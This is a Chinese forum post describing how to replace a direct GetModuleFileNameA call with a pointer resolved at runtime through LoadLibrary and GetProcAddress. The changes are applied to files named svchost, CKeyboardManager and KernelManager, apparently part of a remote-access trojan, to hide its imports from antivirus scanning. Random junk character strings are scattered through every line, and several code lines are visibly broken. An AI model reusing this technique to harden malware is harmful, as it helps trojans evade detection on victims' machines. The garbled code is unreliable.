[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记, o; [% j% X1 A) P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h; B) w0 r' a& m0 |5 ?1 _
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DTDY.h：
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#if _MSC_VER>10007 A$ v% t: w  u1 I0 U
#pragma once
$ ]. F4 u' w* R! Y; E#endif //_MSC_VER>1000
6 M7 ^* G4 T& [/ k1 a, r  |. I#include<windows.h>' M- W8 I5 C, H& _3 ^6 ^6 X
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
0 G; K* ]) K" ^& Y+ J* Nclass DTDY: q7 W$ W+ J& Z$ i
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public:4 E6 ^+ H7 x! i* I* r( g6 i
DTDY();
4 U$ [' B# i# j& G8 Hvirtual ~DTDY();: P9 ]3 I( `. x8 v- ~. G
public:
4 E' {  s8 s5 n2 M$ {9 Ystatic pGetModuleFileNameA MyGetModuleFileName;
9 V' z: ^7 ?  _8 ]8 `+ z9 c' L. Ystatic BOOL FunInitiallization();
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#endif3 s; z/ F/ z  ~
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DTDY.cpp:
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6 ?6 }+ `1 ]; M% e( F#include "DTDY.h"
) o) F# V, U& V  g4 C& ~pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* E4 u. w' [3 a: N9 J3 A
DTDY:TDY()9 B: h2 j( `4 R& r% r' B
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}
* k. P# B' E, R/ nDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
) i% W. @! m$ A: pMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- K7 Y6 m3 w+ O1 H+ cif(!MyGetModuleFileName=) return FALSE;1 m8 o4 R# i! d6 G5 u

9 n' Z( E! y! Greturn TRUE;
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#include "DTDY.h"# E* z3 B& h3 v6 E5 O4 Q
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)2 n* R: C# x( G( r7 {  f
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case DLL_PROCESS_ATTACH:
" \' V' O* ^& A- g. k. _( I9 uif(!DTDY::FunInitiallization()) return FALSE;$ s7 x! l! o/ L5 R+ P
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break;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def4 N; _$ q: E  r1 I
改写为
# d, U: P- v# R6 f7 T1 o5 v$ T8 u& ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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* J8 i& O. N3 V* [! R4 GKernelManager.cpp:
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#include "../DTDY.h"2 O" g& ~3 ~" q4 j7 Z1 V" B6 s
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 @* I9 q( k4 p2 b5 r改写为# V- U, h/ z6 L3 b- [$ q& Q; X. M
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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